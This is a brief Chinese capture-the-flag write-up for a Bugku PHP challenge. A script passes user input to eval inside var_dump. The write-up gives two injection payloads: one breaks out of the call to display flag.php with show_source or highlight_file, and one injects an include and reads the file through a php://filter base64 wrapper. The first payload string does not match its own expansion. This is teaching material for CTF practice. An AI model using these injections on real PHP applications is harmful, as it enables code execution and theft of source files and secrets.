Bugku-本地包含

题目

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

1.eval存在命令执行漏洞,构造

?hello=1);var_dump('flag.php');var_dump(3

即(将其整体带入$a)

eval( "var_dump(1);show_source('flag.php');var_dump(3);"); 

eval( "var_dump(1);highlight_file('flag.php');var_dump(3);");

highlight_file()与show_source()均可,两个函数功能均为给文件代码高亮显示

2.可以使用php://伪协议

?hello=1);include $_POST['f'];var_dump(3

之后进行post传递

f=php://filter/convert.base64-encode/resource=flag.php

进行base64解码即可